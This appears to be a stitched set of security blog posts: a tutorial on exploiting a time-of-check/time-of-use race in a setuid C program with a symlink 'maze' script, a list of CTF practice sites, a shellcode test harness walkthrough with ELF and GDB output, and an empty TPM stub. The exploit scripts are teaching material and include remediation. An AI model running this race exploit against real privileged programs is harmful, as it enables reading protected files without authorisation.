./test_shellcode.c (Alternatively we can also use the execstack tool to change the executable stack flag of an ELF file.)

TOC - TOU

In this article I want to describe a common race condition vulnerability type known as Time-Of-Check - Time-Of-Use (TOC-TOU). I am going through the following steps: The vulnerability Setup the environment for the challenge Exploit the challenge How to remediate for the vulnerable code The vulnerability Let’s discuss the vulnerability by analysing the following code: // filename: toc_tou.c #include<unistd.h> #include<stdio.h> int main(int argc, char * argv[]) { FILE * file; int can_read, c; can_read = access(argv[1], R_OK); if (can_read == 0) { file = fopen(argv[1], "r"); while((c = fgetc(file)) != EOF){ putc(c, stdout); } fclose(file); } else{ printf("You have no power!\n"); } return 0; } In line 10, the file path given as argument, will be used to check if you have the permission to read the file pointed by it. If you don’t the program will print “You have no power!”. In line 13, the same file path will be used to read the file pointed by it. The problem comes when you provide a path to a file that you can read, in order to pass the check in line 10, and before the program reach line 13 you change the file pointed by the same path. The time between the execution of line 10 and the line 13 is what we have to change the file pointed by the path provided. Even if it may seem that there is not much time between the execution of the two command there is still a race condition that we are going to exploit. In this vulnerable program, the read operation performed by the root user. Of course, it is not a good practice to run a program with high privileges but the program should drop them as soon as possible and run with lowest possible privileges. In this article we are not going to dig more into this aspect. Setup the environment for the challenge To setup the challenge we are going to setup the environment with the following code: #!/bin/bash # filename: create_challenge.sh rm -f file_to_check.txt sudo rm -f file_to_open.txt echo 'public file' > file_to_check.txt echo 'secret file' > file_to_open.txt chmod 700 file_to_open.txt sudo chown root:root file_to_open.txt make sudo chown root:root toc_tou sudo chmod u+s toc_tou Where the makefile is: all: toc_tou toc_tou: toc_tou.c makefile gcc -o toc_tou toc_tou.c Once you run $ ./create_challenge.sh you should have a folder that looks like this: -rwxr-xr-x 1 pippo pippo 265 May 23 08:52 create_challenge.sh* -rw-r--r-- 1 pippo pippo 12 May 23 08:55 file_to_check.txt -rwx------ 1 root root 12 May 23 08:55 file_to_open.txt* -rwxr-xr-x 1 pippo pippo 72 Apr 20 22:38 makefile* -rwsr-xr-x 1 root root 8568 May 23 08:55 toc_tou* -rwxr-xr-x 1 pippo pippo 863 May 23 08:52 toc_tou.c* In line 5, you can see that the toc_tou program has the setuid bit active and the program owner is root. This means that when the program is going to be executed it will run with he effective user ID as root. Exploit the challenge To exploit this program we are going to provide the program a path to a “filesystem maze” so that to reach the file pointed by the path, the system need traverse a lot of folders: #!/bin/bash currentDir=$(pwd) linkOut=0 linkIn=1 numFolders=1900 fileTarget=file_to_check.txt create_folders(){ folder=$1 dirstring="." for index in $(seq 0 $numFolders); do mkdir $folder && cd $folder && dirstring=${dirstring}/$folder ; done ln -s $currentDir/link$linkIn link$linkIn cd $currentDir ln -s $currentDir/$dirstring/link$linkIn link$linkOut linkOut=$(($linkOut+1)) linkIn=$(($linkIn+1)) } create_folders "1" create_folders "2" create_folders "3" create_folders "4" create_folders "5" create_folders "6" create_folders "7" create_folders "8" create_folders "9" create_folders "0" ln -s $fileTarget link$linkOut ln -s link0 link This code will create 10 folders that have 1900 folders inside each of them. It will also create 10 links in the current folder that point to the inner most folder where another link points to the next link in the main folder. This chain of links will end with the link in the main folder that will point to the file we need to check. link –> link0 link0 –> folder –> . . . –> folder –> link1 . . . link8 –> folder –> . . . –> folder –> link9 link9 –> file_to_check.txt As explained before the purpose of this “maze” is to slow down the traversal of the path done by the system. When the system is busy traversing the path to reach the legitimate file used to check the permission, we can change the file pointed by the initial path to a file of our choice. Since the program is running with root permission, we will be able to read any file. Now we can run the program as: $ ./toc_tou link My CPU is an i7 running at 2.90GHz and it takes about 1.5 seconds to traverse the maze to find the file used to check the access permissions. During this time we can have another terminal open to change the pointer of the link given as argument: $ rm link && ln -s file_to_open.txt link A common problem that you can incur while trying this challenge is that when you execute the creation of the maze the system is going to cache them in order to speed-up future operations. To clear the cache from dentries, inodes and page cache, you can execute: # sync && echo 3 > /proc/sys/vm/drop_caches Now, if you try to exploit the vulnerable program again, your system is going to traverse the path again. It is clear that in a real exploitation, you won’t have access to this privileged command therefore you’ll have to wait for the cache to clean itself or use other programs to force the cache to be filled with other data. It is of course possible to create a bigger maze to have more time between the two operations.In my trials, with 36 folders, each of them with 1900 inner folders, the path resolution is going to take 3.6 seconds. With 36 folders, each of them with 1500 inner folders, the path resolution is going to take 2.6 seconds. How to remediate for the vulnerable code The program is vulnerable because it operates on file paths that can be changed after the check operation. To avoid that, the program need to operate on file descriptor. The open function can be used open a file and it returns a file descriptor. Once you have the file descriptor you can use other functions to check the permission of the file, like fstat. int open(const char *pathname, int flags); int fstat(int fd, struct stat *statbuf); In addition to use functions that use file descriptors you can use file pointers too. A file descriptor is an integer used to identify an opened file at kernel level. A file pointer is a C standard library construct, called FILE. The FILE wraps the file descriptor, and adds other features to it. (It is possible to get the file pointer from a file descriptor, and vice verse, with the functions fileno and fdopen.)

CTF Resources

During the time I have collected various resources that help me practicing CTF skills, divided per each category. Some of the exercises found in these sites are solved in the Security Exercises section. Web Web https://github.com/cure53/XSSChallengeWiki/wiki The repo offer a good collection of XSS related challenges. Although last update is from 2014, it stores a lot of references to other websites with related solution. Web https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection The repo offers examples of XSS in different scenarios. Web https://github.com/s0md3v/AwesomeXSS The repo has good reference material to understand XSS and some references to existing challenges. Reverse Reverse https://challenges.re It offers many reverse challenges dividing them in categories as OS, architecture and levels. It does not provide solutions. Crypto Crypto https://cryptopals.com Very good reference to implementing algorithms. It goes from zero to hero. It helps you to build famous crypto attacks like breaking an MD4 and SHA-1 keyed MAC using length extension. It doesn't offer challenges like broken algorithms to brake or CTF like challenges. Exploit Exploit https://github.com/shellphish/how2heap It is a colletion curated from the Shellphish team from UCSB. Exploit http://pwnable.kr/play.php Very famous and well curated site that offers a good variety of challenges. There are a lot of online write ups if you are stuck. Exploit https://old.liveoverflow.com/binary_hacking/protostar/stack0.html A very good resource for stack-based and heap-based buffer overflow. The challenges were thought for 32 bit architecture and the the online videos as well but with provided the source code you can compile it in 64 bit as well. Exploit https://ropemporium.com The site offers many resources to guide you through the construction of ROP. It offers both 64 and 32 bit examples for the same challenge. Network Forensics -- Miscellaneous Write-up https://github.com/ctfs A collection of write ups from previous CTFs divided per year. CTFs Reference https://ctftime.org This is the place where you want to be to get news and upcoming events always up to date.

Test

How to Test a Shellcode

A shellcode is a piece of compiled code that is typically given as input to a program that, when executed, is going to launch a shell (see Build Your Own Shellcode). To test a shellcode we are going to used the following code: // filename: test_shellcode.c char *code = "<shellcodegoeshere>"; int main() { void (*shell)(); shell=(void (*)())code; (*shell)(); } In line 2, we are going to copy the shellcode that we want to test. In line 5, we are declaring the variable shell as a pointer to a function that returns void and that takes no arguments. In line 6, we are casting the string pointer code to the same type of the variable shell (i.e.: a function that returns void and that takes no arguments.) In line 7, we are calling the function pointed by the shell variable (passing no parameters). Once we filled the code variable with the shellcode (in line 1), we can compile the program and run it as: $ gcc -o test_shellcode test_shellcode.c $ ./test_shellcode In this way we can understand if the shellcode will work on the current system. To give a shellcode in input to a program in order to execute it we have to be careful about few more things as explained in Build Your Own Shellcode. Understanding the test program The content pointed by the variable code is going to be allocated in an executable portion of the memory layout. The command $ readelf -a ./test_shellcode gives a lot of information. Let’s try to brake it down for easy to digest. If we examine the symbol tables $ readelf -s ./test_shellcode we can see something like this: Symbol table '.symtab' contains 62 entries: Num: Value Size Type Bind Vis Ndx Name 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND 1: 0000000000000238 0 SECTION LOCAL DEFAULT 1 2: 0000000000000254 0 SECTION LOCAL DEFAULT 2 3: 0000000000000274 0 SECTION LOCAL DEFAULT 3 ......... 59: 0000000000000000 0 FUNC WEAK DEFAULT UND __cxa_finalize@@GLIBC_2.2 60: 00000000000004d0 0 FUNC GLOBAL DEFAULT 10 _init 61: 0000000000201010 8 OBJECT GLOBAL DEFAULT 22 code In line 10, the symbol code is shown with a Value of 0000000000201010. The Value column represent the address of the symbol. The command $ readelf -S ./test_shellcode shows the header sections of the ELF file: Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [ 0] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0 [ 1] .interp PROGBITS 0000000000000238 00000238 000000000000001c 0000000000000000 A 0 0 1 [ 2] .note.ABI-tag NOTE 0000000000000254 00000254 0000000000000020 0000000000000000 A 0 0 4 ...... [21] .got PROGBITS 0000000000200fc0 00000fc0 0000000000000040 0000000000000008 WA 0 0 8 [22] .data PROGBITS 0000000000201000 00001000 0000000000000018 0000000000000000 WA 0 0 8 [23] .bss NOBITS 0000000000201018 00001018 0000000000000008 0000000000000000 WA 0 0 1 Here, we can see that the .data section has an address of 0000000000201000 and a size of 0000000000000018. The symbol code is defined as the address of 0000000000201010 i.e., inside the .data section. We could have gather the same information by running $ objdump -t ./test: SYMBOL TABLE: 0000000000000238 l d .interp 0000000000000000 .interp 0000000000000254 l d .note.ABI-tag 0000000000000000 .note.ABI-tag 0000000000000274 l d .note.gnu.build-id 0000000000000000 .note.gnu.build-id 0000000000000298 l d .gnu.hash 0000000000000000 .gnu.hash 00000000000002b8 l d .dynsym 0000000000000000 .dynsym ...... 0000000000000000 w *UND* 0000000000000000 _ITM_registerTMCloneTable 0000000000000000 w F *UND* 0000000000000000 __cxa_finalize@@GLIBC_2.2.5 00000000000004d0 g F .init 0000000000000000 _init 0000000000201010 g O .data 0000000000000008 code In line 11, we can see that the symbol code is declared in the section .data. To know the permission that a section has, we can have to look at the Program Headers and at the Section to Segment mapping by running $ readelf -a ./test_shellcode: Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align PHDR 0x0000000000000040 0x0000000000000040 0x0000000000000040 0x00000000000001f8 0x00000000000001f8 R 0x8 INTERP 0x0000000000000238 0x0000000000000238 0x0000000000000238 0x000000000000001c 0x000000000000001c R 0x1 [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2] LOAD 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000818 0x0000000000000818 R E 0x200000 LOAD 0x0000000000000df0 0x0000000000200df0 0x0000000000200df0 0x0000000000000228 0x0000000000000230 RW 0x200000 DYNAMIC 0x0000000000000e00 0x0000000000200e00 0x0000000000200e00 0x00000000000001c0 0x00000000000001c0 RW 0x8 NOTE 0x0000000000000254 0x0000000000000254 0x0000000000000254 0x0000000000000044 0x0000000000000044 R 0x4 GNU_EH_FRAME 0x00000000000006d4 0x00000000000006d4 0x00000000000006d4 0x000000000000003c 0x000000000000003c R 0x4 GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 RW 0x10 GNU_RELRO 0x0000000000000df0 0x0000000000200df0 0x0000000000200df0 0x0000000000000210 0x0000000000000210 R 0x1 Section to Segment mapping: Segment Sections... 00 01 .interp 02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .init .plt .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame 03 .init_array .fini_array .dynamic .got .data .bss 04 .dynamic 05 .note.ABI-tag .note.gnu.build-id 06 .eh_frame_hdr 07 08 .init_array .fini_array .dynamic .got Here we can see that the .data section is mapped into the segment 03 (i.e., the 4th segment). Under the “Program Header” we can count the segments from the top; the first is PHDR segment, the second is INTERP and the fourth is LOAD with permission to read and to write (but not execute!). If we don’t have the execute permission, how come that we are able to run the code?? Let’s run the code in GDB to clarify this point (I am using GEF): Reading symbols from ./test_shellcode...(no debugging symbols found)...done. gef➤ b main Breakpoint 1 at 0x61e gef➤ r Starting program: /home/pippo/ctf/lectures/build_shellcode/test Breakpoint 1, 0x000055555555461e in main () gef➤ info address code Symbol "code" is at 0x555555755010 in a file compiled without debugging. gef➤ x/1g 0x555555755010 0x555555755010 <code>: 0x5555555546c4 gef➤ x/1g 0x5555555546c4 0x5555555546c4: 0x5bf0000003cb8 In line 7, we are printing the address of the global variable code that is located 0x555555755010 (as shown in line 8). This variable is a pointer to the location of memory 0x5555555546c4 (line 10). To understand what are the permission of those different memory locations we can run gef➤ vmmap: gef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555555000 0x0000000000000000 r-x /home/pippo/ctf/lectures/build_shellcode/test_shellcode 0x0000555555754000 0x0000555555755000 0x0000000000000000 r-- /home/pippo/ctf/lectures/build_shellcode/test_shellcode 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /home/pippo/ctf/lectures/build_shellcode/test_shellcode 0x00007ffff79e4000 0x00007ffff7bcb000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7bcb000 0x00007ffff7dcb000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7dcb000 0x00007ffff7dcf000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7dcf000 0x00007ffff7dd1000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7dd1000 0x00007ffff7dd5000 0x0000000000000000 rw- 0x00007ffff7dd5000 0x00007ffff7dfc000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so 0x00007ffff7fcd000 0x00007ffff7fcf000 0x0000000000000000 rw- 0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar] 0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso] 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000027000 r-- /lib/x86_64-linux-gnu/ld-2.27.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000028000 rw- /lib/x86_64-linux-gnu/ld-2.27.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] (gef➤ vmmap is exactly the same of running cat /proc/{process_id}/maps, where process_id is the process of the debugged program. To obtain the process id of the currently running debugged program run info inferior.) In lines 3,4 and 5 we can see that there are 3 memory regions that map the test_shellcode executable with different permissions. We can see that the variable code (0x555555755010) is located in a memory region that has read and write permissions, in line 5. This is the same information that we obtained previously by reading the ELF file (with the readelf command). We can also see that the address pointed by the variable code (0x5555555546c4) is located in a memory region that has read and execute permission, in line 3. Alternative test code Sometimes over the Internet you see code like this: int main(){ char code[]= "\xb8\x3c\x00\x00\x00\xbf\x05\x00\x00\x00\x0f\x05"; void (*shell)(); shell=(void (*)())code; (*shell)(); //shell(); } Here, the code variable is declared inside the main function and it is NOT a pointer. This code WILL NOT work if compiled with: $ gcc -o test_shellcode ./test_shellcode.c The code will compile correctly but it will produce Segmentation fault when executed. The reason is simple, the code variable is located in the stack and since it is a non-executable memory region, if an instruction tries to execute from here the system will produce a segmentation fault. This code WILL work if compiled by passing the flag to make the stack executable: $ gcc -o test_shellcode -z execstack ./test_shellcode.c (Alternatively we can also use the execstack tool to change the executable stack flag of an ELF file.)

TPM

Encrypt Data Using a TPM

TODO